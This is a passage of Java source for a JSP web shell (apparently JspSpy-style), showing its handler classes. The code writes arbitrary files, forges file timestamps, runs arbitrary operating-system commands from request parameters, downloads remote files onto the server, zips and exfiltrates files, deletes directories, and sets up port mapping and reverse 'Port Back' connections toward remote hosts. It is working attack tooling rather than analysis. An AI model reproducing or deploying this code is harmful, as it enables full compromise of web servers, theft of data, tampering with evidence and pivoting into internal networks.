1646private static class CreateFileInvoker extends DefaultInvoker {
1647public boolean doBefore(){return false;}
1648public boolean doAfter(){return false;}
1649public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1650try {
1651PrintWriter out = response.getWriter();
1652String path = request.getParameter("filepath");
1653String content = request.getParameter("filecontent");
1654String charset = request.getParameter("charset");
1655BufferedWriter outs = null;
1656if (charset.equals("ANSI"))
1657outs = new BufferedWriter(new FileWriter(new File(path)));
1658else
1659outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset));
1660outs.write(content,0,content.length());
1661outs.close();
1662JSession.setAttribute(MSG,"Save File <span style='color:green'>"+(new File(path)).getName()+"</span> With <span style='font-weight:bold;color:red'>"+charset+"</span> Success!");
1663response.sendRedirect(SHELL_NAME);
1664} catch (Exception e) {
1665
1666throw e ;
1667}
1668}
1669}
1670private static class VEditPropertyInvoker extends DefaultInvoker {
1671public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1672try {
1673PrintWriter out = response.getWriter();
1674String filepath = request.getParameter("filepath");
1675File f = new File(filepath);
1676if (!f.exists())
1677return;
1678String read = f.canRead() ? "checked=\"checked\"" : "";
1679String write = f.canWrite() ? "checked=\"checked\"" : "";
1680Calendar cal = Calendar.getInstance();
1681cal.setTimeInMillis(f.lastModified());
1682
1683out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1684"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1685"<h2>Set File Property »</h2>"+
1686"<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\" /></p>"+
1687"<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
1688"<p>"+
1689" <input type=\"checkbox\" disabled "+read+" name=\"read\" id=\"checkbox\">Read "+
1690" <input type=\"checkbox\" disabled "+write+" name=\"write\" id=\"checkbox2\">Write "+
1691"</p>"+
1692"<p>Instead »"+
1693"year:"+
1694"<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\" />"+
1695"month:"+
1696"<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\" />"+
1697"day:"+
1698"<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\" />"+
1699""+
1700"hour:"+
1701"<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\" />"+
1702"minute:"+
1703"<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\" />"+
1704"second:"+
1705"<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\" />"+
1706"</p>"+
1707"<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"+
1708"</form>"+
1709"</td></tr></table>");
1710} catch (Exception e) {
1711throw e ;
1712}
1713}
1714}
1715private static class EditPropertyInvoker extends DefaultInvoker {
1716public boolean doBefore(){return false;}
1717public boolean doAfter(){return false;}
1718public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1719try {
1720String f = request.getParameter("file");
1721File file = new File(f);
1722if (!file.exists())
1723return;
1724
1725String year = request.getParameter("year");
1726String month = request.getParameter("month");
1727String date = request.getParameter("date");
1728String hour = request.getParameter("hour");
1729String minute = request.getParameter("minute");
1730String second = request.getParameter("second");
1731
1732Calendar cal = Calendar.getInstance();
1733cal.set(Calendar.YEAR,Integer.parseInt(year));
1734cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
1735cal.set(Calendar.DATE,Integer.parseInt(date));
1736cal.set(Calendar.HOUR,Integer.parseInt(hour));
1737cal.set(Calendar.MINUTE,Integer.parseInt(minute));
1738cal.set(Calendar.SECOND,Integer.parseInt(second));
1739if(file.setLastModified(cal.getTimeInMillis())){
1740JSession.setAttribute(MSG,"Reset File Property Success!");
1741} else {
1742JSession.setAttribute(MSG,"<span style='color:red'>Reset File Property Failed!</span>");
1743}
1744response.sendRedirect(SHELL_NAME);
1745} catch (Exception e) {
1746
1747throw e ;
1748}
1749}
1750}
1751//VShell
1752private static class VsInvoker extends DefaultInvoker{
1753public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1754try {
1755PrintWriter out = response.getWriter();
1756String cmd = request.getParameter("command");
1757String program = request.getParameter("program");
1758if (cmd == null) {
1759if (ISLINUX)
1760cmd = "id";
1761else
1762cmd = "cmd.exe /c set";
1763}
1764if (program == null)
1765program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
1766if (JSession.getAttribute(MSG)!=null) {
1767Util.outMsg(out,JSession.getAttribute(MSG).toString());
1768JSession.removeAttribute(MSG);
1769}
1770out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1771"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1772"<h2>Execute Program »</h2>"+
1773"<p>"+
1774"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
1775"<input type=\"hidden\" name=\"type\" value=\"program\">"+
1776"Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\" />"+
1777"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
1778"</p>"+
1779"</form>"+
1780"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1781"<h2>Execute Shell »</h2>"+
1782"<p>"+
1783"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
1784"<input type=\"hidden\" name=\"type\" value=\"command\">"+
1785"Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\" />"+
1786"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
1787"</p>"+
1788"</form>"+
1789"</td>"+
1790"</tr></table>");
1791} catch (Exception e) {
1792
1793throw e ;
1794}
1795}
1796}
1797private static class ShellInvoker extends DefaultInvoker{
1798public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1799try {
1800PrintWriter out = response.getWriter();
1801String type = request.getParameter("type");
1802if (type.equals("command")) {
1803((Invoker)ins.get("vs")).invoke(request,response,JSession);
1804out.println("<div style='margin:10px'><hr/>");
1805out.println("<pre>");
1806String command = request.getParameter("command");
1807if (!Util.isEmpty(command)) {
1808Process pro = Runtime.getRuntime().exec(command);
1809BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
1810String s = reader.readLine();
1811while (s != null) {
1812out.println(Util.htmlEncode(Util.getStr(s)));
1813s = reader.readLine();
1814}
1815reader.close();
1816reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
1817s = reader.readLine();
1818while (s != null) {
1819out.println(Util.htmlEncode(Util.getStr(s)));
1820s = reader.readLine();
1821}
1822reader.close();
1823out.println("</pre></div>");
1824}
1825} else {
1826String program = request.getParameter("program");
1827if (!Util.isEmpty(program)) {
1828Process pro = Runtime.getRuntime().exec(program);
1829JSession.setAttribute(MSG,"Program Has Run Success!");
1830((Invoker)ins.get("vs")).invoke(request,response,JSession);
1831}
1832}
1833} catch (Exception e) {
1834
1835throw e ;
1836}
1837}
1838}
1839private static class DownInvoker extends DefaultInvoker{
1840public boolean doBefore(){return false;}
1841public boolean doAfter(){return false;}
1842public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1843try {
1844String path = request.getParameter("path");
1845if (Util.isEmpty(path))
1846return;
1847InputStream i = null;
1848Object enter = JSession.getAttribute(ENTER);
1849String fileName = null;
1850if (enter == null) {
1851File f = new File(path);
1852if (!f.exists())
1853return;
1854fileName = f.getName();
1855i = new FileInputStream(f);
1856} else {
1857ZipFile zf = new ZipFile((String)enter);
1858ZipEntry entry = new ZipEntry(path);
1859fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1);
1860i = zf.getInputStream(entry);
1861}
1862response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET));
1863BufferedInputStream input = new BufferedInputStream(i);
1864BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
1865byte[] data = new byte[1024];
1866int len = input.read(data);
1867while (len != -1) {
1868output.write(data,0,len);
1869len = input.read(data);
1870}
1871input.close();
1872output.close();
1873} catch (Exception e) {
1874
1875throw e ;
1876}
1877}
1878}
1879//VDown
1880private static class VdInvoker extends DefaultInvoker {
1881public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1882try {
1883PrintWriter out = response.getWriter();
1884String savepath = request.getParameter("savepath");
1885String url = request.getParameter("url");
1886if (Util.isEmpty(url))
1887url = "http://www.fifififif.com/";
1888if (Util.isEmpty(savepath)) {
1889savepath = JSession.getAttribute(CURRENT_DIR).toString();
1890}
1891if (!Util.isEmpty(JSession.getAttribute("done"))) {
1892Util.outMsg(out,"Download Remote File Success!");
1893JSession.removeAttribute("done");
1894}
1895out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1896"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1897"<h2>Remote File DownLoad »</h2>"+
1898"<p>"+
1899"<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
1900"<p>File URL: "+
1901" <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"200\" /></p>"+
1902"<p>Save Path: "+
1903"<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"200\" /></p>"+
1904"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\" />"+
1905"</p>"+
1906"</form></table>");
1907} catch (Exception e) {
1908
1909throw e ;
1910}
1911}
1912}
1913private static class DownRemoteInvoker extends DefaultInvoker {
1914public boolean doBefore(){return true;}
1915public boolean doAfter(){return true;}
1916public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1917try {
1918String downFileUrl = request.getParameter("url");
1919String savePath = request.getParameter("savepath");
1920if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
1921return;
1922URL downUrl = new URL(downFileUrl);
1923URLConnection conn = downUrl.openConnection();
1924
1925File tempF = new File(savePath);
1926File saveF = tempF;
1927if (tempF.isDirectory()) {
1928String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1);
1929saveF = new File(tempF,fName);
1930}
1931BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
1932BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF));
1933byte[] data = new byte[1024];
1934int len = in.read(data);
1935while (len != -1) {
1936out.write(data,0,len);
1937len = in.read(data);
1938}
1939in.close();
1940out.close();
1941JSession.setAttribute("done","d");
1942((Invoker)ins.get("vd")).invoke(request,response,JSession);
1943} catch (Exception e) {
1944
1945throw e ;
1946}
1947}
1948}
1949private static class IndexInvoker extends DefaultInvoker {
1950public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1951try {
1952((Invoker)ins.get("filelist")).invoke(request,response,JSession);
1953} catch (Exception e) {
1954
1955throw e ;
1956}
1957}
1958}
1959private static class MkDirInvoker extends DefaultInvoker {
1960public boolean doBefore(){return false;}
1961public boolean doAfter(){return false;}
1962public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1963try {
1964String name = request.getParameter("name");
1965File f = new File(name);
1966if (!f.isAbsolute()) {
1967String path = JSession.getAttribute(CURRENT_DIR).toString();
1968if (!path.endsWith("/"))
1969path += "/";
1970path += name;
1971f = new File(path);
1972}
1973f.mkdirs();
1974JSession.setAttribute(MSG,"Make Directory Success!");
1975response.sendRedirect(SHELL_NAME);
1976} catch (Exception e) {
1977
1978throw e ;
1979}
1980}
1981}
1982private static class MoveInvoker extends DefaultInvoker {
1983public boolean doBefore(){return false;}
1984public boolean doAfter(){return false;}
1985public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1986try {
1987PrintWriter out = response.getWriter();
1988String src = request.getParameter("src");
1989String target = request.getParameter("to");
1990if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
1991File file = new File(src);
1992if(file.renameTo(new File(target))) {
1993JSession.setAttribute(MSG,"Move File Success!");
1994} else {
1995String msg = "Move File Failed!";
1996if (file.isDirectory()) {
1997msg += "The Move Will Failed When The Directory Is Not Empty.";
1998}
1999JSession.setAttribute(MSG,msg);
2000}
2001response.sendRedirect(SHELL_NAME);
2002}
2003} catch (Exception e) {
2004
2005throw e ;
2006}
2007}
2008}
2009private static class RemoveDirInvoker extends DefaultInvoker {
2010public boolean doBefore(){return false;}
2011public boolean doAfter(){return false;}
2012public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2013try {
2014String dir = request.getParameter("dir");
2015File file = new File(dir);
2016if (file.exists()) {
2017deleteFile(file);
2018deleteDir(file);
2019}
2020
2021JSession.setAttribute(MSG,"Remove Directory Success!");
2022response.sendRedirect(SHELL_NAME);
2023} catch (Exception e) {
2024
2025throw e ;
2026}
2027}
2028public void deleteFile(File f) {
2029if (f.isFile()) {
2030f.delete();
2031}else {
2032File[] list = f.listFiles();
2033for (int i = 0;i<list.length;i++) {
2034 File ff=list[i];
2035deleteFile(ff);
2036}
2037}
2038}
2039public void deleteDir(File f) {
2040File[] list = f.listFiles();
2041if (list.length == 0) {
2042f.delete();
2043} else {
2044for (int i = 0;i<list.length;i++) {
2045 File ff=list[i];
2046deleteDir(ff);
2047}
2048deleteDir(f);
2049}
2050}
2051}
2052private static class PackBatchInvoker extends DefaultInvoker{
2053public boolean doBefore(){return false;}
2054public boolean doAfter(){return false;}
2055public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2056try {
2057String files = request.getParameter("files");
2058if (Util.isEmpty(files))
2059return;
2060String saveFileName = request.getParameter("savefilename");
2061File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
2062if (saveF.exists()) {
2063JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
2064response.sendRedirect(SHELL_NAME);
2065return;
2066}
2067ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2068String[] arr = files.split(",");
2069for (int i = 0;i<arr.length;i++) {
2070 String f=arr[i];
2071File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
2072ZipEntry entry = new ZipEntry(pF.getName());
2073zout.putNextEntry(entry);
2074FileInputStream fInput = new FileInputStream(pF);
2075int len = 0;
2076byte[] buf = new byte[1024];
2077while ((len = fInput.read(buf)) != -1) {
2078zout.write(buf, 0, len);
2079zout.flush();
2080}
2081fInput.close();
2082}
2083zout.close();
2084JSession.setAttribute(MSG,"Pack Files Success!");
2085response.sendRedirect(SHELL_NAME);
2086} catch (Exception e) {
2087
2088throw e;
2089}
2090}
2091}
2092private static class VPackConfigInvoker extends DefaultInvoker{
2093public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2094try {
2095PrintWriter out = response.getWriter();
2096String packfile = request.getParameter("packedfile");
2097String currentd = JSession.getAttribute(CURRENT_DIR).toString();
2098out.println("<form action='"+SHELL_NAME+"' method='post'>"+
2099"<input type='hidden' name='o' value='pack'/>"+
2100"<input type='hidden' name='config' value='true'/>"+
2101"<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2102" <tr>"+
2103" <td><h2 id=\"Bin_H2_Title\">Pack Configuration >><hr/></h2>"+
2104" <div id=\"hOWTm\">"+
2105" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2106" <tr align=\"center\">"+
2107" <td style=\"width:5%\"></td>"+
2108" <td align=\"center\"><table border=\"0\">"+
2109" <tr>"+
2110" <td>Packed Dir</td>"+
2111" <td><input type=\"text\" name=\"packedfile\" size='100' value=\""+packfile+"\" class=\"input\"/></td>"+
2112" </tr>"+
2113" <tr>"+
2114" <td>Save To</td>"+
2115" <td><input type=\"text\" name=\"savefilename\" size='100' value=\""+((currentd.endsWith("/") ? currentd : currentd+"/")+"pack.zip")+"\" class=\"input\"/></td>"+
2116" </tr>"+
2117" <tr>"+
2118" <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"+
2119" <input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"+
2120" <hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"+
2121" </fieldset></td>"+
2122" </tr>"+
2123" <tr>"+
2124" <td>Filesize Filter</td>"+
2125" <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "+
2126" <input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"+
2127" </tr>"+
2128" <tr>"+
2129" <td>Exclude Dir</td>"+
2130" <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"+
2131" </tr>"+
2132" </table></td>"+
2133" </tr>"+
2134" <tr align=\"center\">"+
2135" <td colspan=\"2\">"+
2136" <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"+
2137" </td>"+
2138" </tr>"+
2139" </table>"+
2140" </div></td>"+
2141" </tr>"+
2142" </table></form>"
2143);
2144} catch (Exception e) {
2145
2146throw e;
2147}
2148}
2149}
2150private static class PackInvoker extends DefaultInvoker {
2151public boolean doBefore(){return false;}
2152public boolean doAfter(){return false;}
2153private boolean config = false;
2154private String extFilter = "blacklist";
2155private String[] fileExts = null;
2156private String sizeFilter = "no";
2157private int filesize = 0;
2158private String[] exclude = null;
2159private String packFile = null;
2160private void reset(){
2161this.config = false;
2162this.extFilter = "blacklist";
2163this.fileExts = null;
2164this.sizeFilter = "no";
2165this.filesize = 0;
2166this.exclude = null;
2167this.packFile = null;
2168}
2169public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2170try {
2171String config = request.getParameter("config");
2172if (!Util.isEmpty(config) && config.equals("true")) {
2173this.config = true;
2174this.extFilter = request.getParameter("extfilter");
2175this.fileExts = request.getParameter("fileext").split(",");
2176this.sizeFilter = request.getParameter("sizefilter");
2177this.filesize = Integer.parseInt(request.getParameter("filesize"));
2178this.exclude = request.getParameter("exclude").split(",");
2179}
2180String packedFile = request.getParameter("packedfile");
2181if (Util.isEmpty(packedFile))
2182return;
2183this.packFile = packedFile;
2184String saveFileName = request.getParameter("savefilename");
2185File saveF = null;
2186if (this.config)
2187saveF = new File(saveFileName);
2188else
2189saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
2190if (saveF.exists()) {
2191JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
2192response.sendRedirect(SHELL_NAME);
2193return;
2194}
2195File pF = new File(packedFile);
2196ZipOutputStream zout = null;
2197String base = "";
2198if (pF.isDirectory()) {
2199if (pF.listFiles().length == 0) {
2200JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty .");
2201response.sendRedirect(SHELL_NAME);
2202this.reset();
2203return;
2204}
2205zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2206zipDir(pF,base,zout);
2207} else {
2208zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2209zipFile(pF,base,zout);
2210}
2211zout.close();
2212this.reset();
2213JSession.setAttribute(MSG,"Pack File Success!");
2214response.sendRedirect(SHELL_NAME);
2215} catch (Exception e) {
2216throw e;
2217}
2218}
2219public void zipDir(File f,String base,ZipOutputStream zout) throws Exception {
2220if (f.isDirectory()) {
2221if (this.config) {
2222String curName = f.getAbsolutePath().replace('\\','/');
2223curName = curName.replaceAll("\\Q"+this.packFile+"\\E","");
2224if (this.exclude != null) {
2225for (int i = 0;i<exclude.length;i++) {
2226if (!Util.isEmpty(exclude[i]) && curName.startsWith(exclude[i])) {
2227return;
2228}
2229}
2230}
2231}
2232File[] arr = f.listFiles();
2233for (int i = 0;i<arr.length;i++) {
2234 File ff=arr[i];
2235String tmpBase = base;
2236if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
2237tmpBase += "/";
2238zipDir(ff,tmpBase+f.getName(),zout);
2239}
2240} else {
2241String tmpBase = base;
2242if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
2243tmpBase += "/";
2244zipFile(f,tmpBase,zout);
2245}
2246
2247}
2248public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
2249if (this.config) {
2250String ext = f.getName().substring(f.getName().lastIndexOf('.')+1);
2251if (this.extFilter.equals("blacklist")) {
2252if (Util.exists(this.fileExts,ext)) {
2253return;
2254}
2255} else if (this.extFilter.equals("whitelist")) {
2256if (!Util.exists(this.fileExts,ext)) {
2257return;
2258}
2259}
2260if (!this.sizeFilter.equals("no")) {
2261double size = f.length() / 1024;
2262if (this.sizeFilter.equals("greaterthan")) {
2263if (size < filesize)
2264return;
2265} else if (this.sizeFilter.equals("lessthan")) {
2266if (size > filesize)
2267return;
2268}
2269}
2270}
2271ZipEntry entry = new ZipEntry(base+f.getName());
2272zout.putNextEntry(entry);
2273FileInputStream fInput = new FileInputStream(f);
2274int len = 0;
2275byte[] buf = new byte[1024];
2276while ((len = fInput.read(buf)) != -1) {
2277zout.write(buf, 0, len);
2278zout.flush();
2279}
2280fInput.close();
2281}
2282}
2283private static class UnPackInvoker extends DefaultInvoker {
2284public boolean doBefore(){return false;}
2285public boolean doAfter(){return false;}
2286public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2287try {
2288String savepath = request.getParameter("savepath");
2289String zipfile = request.getParameter("zipfile");
2290if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
2291return;
2292File save = new File(savepath);
2293save.mkdirs();
2294ZipFile file = new ZipFile(new File(zipfile));
2295Enumeration e = file.entries();
2296while (e.hasMoreElements()) {
2297ZipEntry en = (ZipEntry) e.nextElement();
2298String entryPath = en.getName();
2299int index = entryPath.lastIndexOf("/");
2300if (index != -1)
2301entryPath = entryPath.substring(0,index);
2302File absEntryFile = new File(save,entryPath);
2303if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1))
2304absEntryFile.mkdirs();
2305BufferedOutputStream output = null;
2306BufferedInputStream input = null;
2307try {
2308output = new BufferedOutputStream(
2309new FileOutputStream(new File(save,en.getName())));
2310input = new BufferedInputStream(
2311file.getInputStream(en));
2312byte[] b = new byte[1024];
2313int len = input.read(b);
2314while (len != -1) {
2315output.write(b, 0, len);
2316len = input.read(b);
2317}
2318} catch (Exception ex) {
2319} finally {
2320try {
2321if (output != null)
2322output.close();
2323if (input != null)
2324input.close();
2325} catch (Exception ex1) {
2326}
2327}
2328}
2329file.close();
2330JSession.setAttribute(MSG,"UnPack File Success!");
2331response.sendRedirect(SHELL_NAME);
2332} catch (Exception e) {
2333
2334throw e ;
2335}
2336}
2337}
2338//VMapPort
2339private static class VmpInvoker extends DefaultInvoker {
2340public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2341try {
2342PrintWriter out = response.getWriter();
2343Object localIP = JSession.getAttribute("localIP");
2344Object localPort = JSession.getAttribute("localPort");
2345Object remoteIP = JSession.getAttribute("remoteIP");
2346Object remotePort = JSession.getAttribute("remotePort");
2347Object done = JSession.getAttribute("done");
2348
2349JSession.removeAttribute("localIP");
2350JSession.removeAttribute("localPort");
2351JSession.removeAttribute("remoteIP");
2352JSession.removeAttribute("remotePort");
2353JSession.removeAttribute("done");
2354
2355if (Util.isEmpty(localIP))
2356localIP = InetAddress.getLocalHost().getHostAddress();
2357if (Util.isEmpty(localPort))
2358localPort = "3389";
2359if (Util.isEmpty(remoteIP))
2360remoteIP = "www.fifififif.com";
2361if (Util.isEmpty(remotePort))
2362remotePort = "80";
2363if (!Util.isEmpty(done))
2364Util.outMsg(out,done.toString());
2365
2366out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2367"<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
2368" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2369" <tr>"+
2370" <td><h2 id=\"Bin_H2_Title\">PortMap >><hr/></h2>"+
2371" <div id=\"hOWTm\">"+
2372" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2373" <tr align=\"center\">"+
2374" <td style=\"width:5%\"></td>"+
2375" <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"+
2376" <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
2377" </td>"+
2378" <td style=\"width:20%\" align=\"left\">Local Port :"+
2379" <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
2380" <td style=\"width:20%\" align=\"left\">Remote Ip :"+
2381" <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
2382" <td style=\"width:20%\" align=\"left\">Remote Port :"+
2383" <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
2384" </tr>"+
2385" <tr align=\"center\">"+
2386" <td colspan=\"5\"><br/>"+
2387" <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
2388" <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
2389" </td>"+
2390" </tr>"+
2391" </table>"+
2392" </div>"+
2393"</td>"+
2394"</tr>"+
2395"</table>"+
2396"</form>");
2397String targetIP = request.getParameter("targetIP");
2398String targetPort = request.getParameter("targetPort");
2399String yourIP = request.getParameter("yourIP");
2400String yourPort = request.getParameter("yourPort");
2401if (Util.isEmpty(targetIP))
2402targetIP = "127.0.0.1";
2403if (Util.isEmpty(targetPort))
2404targetPort = "3389";
2405if (Util.isEmpty(yourIP))
2406yourIP = request.getRemoteAddr();
2407if (Util.isEmpty(yourPort))
2408yourPort = "53";
2409out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2410"<input type=\"hidden\" name=\"o\" value=\"portBack\">"+
2411" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2412" <tr>"+
2413" <td><h2 id=\"Bin_H2_Title\">Port Back >><hr/></h2>"+
2414" <div id=\"hOWTm\">"+
2415" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2416" <tr align=\"center\">"+
2417" <td style=\"width:5%\"></td>"+
2418" <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"+
2419" <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetIP+"\" />"+
2420" </td>"+
2421" <td style=\"width:20%\" align=\"left\">Target Port :"+
2422" <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetPort+"\" /></td>"+
2423" <td style=\"width:20%\" align=\"left\">Your Ip :"+
2424" <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourIP+"\" /></td>"+
2425" <td style=\"width:20%\" align=\"left\">Your Port :"+
2426" <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourPort+"\" /></td>"+
2427" </tr>"+
2428" <tr align=\"center\">"+
2429" <td colspan=\"5\"><br/>"+
2430" <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"+
2431" </td>"+
2432" </tr>"+
2433" </table>"+
2434" </div>"+
2435"</td>"+
2436"</tr>"+
2437"</table>"+
2438"</form>");
2439} catch (Exception e) {
2440
2441throw e ;
2442}
2443}
2444}
2445//StopMapPort
2446private static class SmpInvoker extends DefaultInvoker {
2447public boolean doAfter(){return true;}
2448public boolean doBefore(){return true;}
2449public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2450try {
2451Object obj = JSession.getAttribute(PORT_MAP);
2452if (obj != null) {
2453ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
2454server.close();
2455}
2456JSession.setAttribute("done","Stop Success!");
2457((Invoker)ins.get("vmp")).invoke(request,response,JSession);
2458} catch (Exception e) {
2459
2460throw e ;
2461}
2462}
2463}
2464//PortBack
2465private static class PortBackInvoker extends DefaultInvoker {
2466public boolean doAfter(){return true;}
2467public boolean doBefore(){return true;}
2468public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2469try {
2470String targetIP = request.getParameter("targetIP");
2471String targetPort = request.getParameter("targetPort");
2472String yourIP = request.getParameter("yourIP");
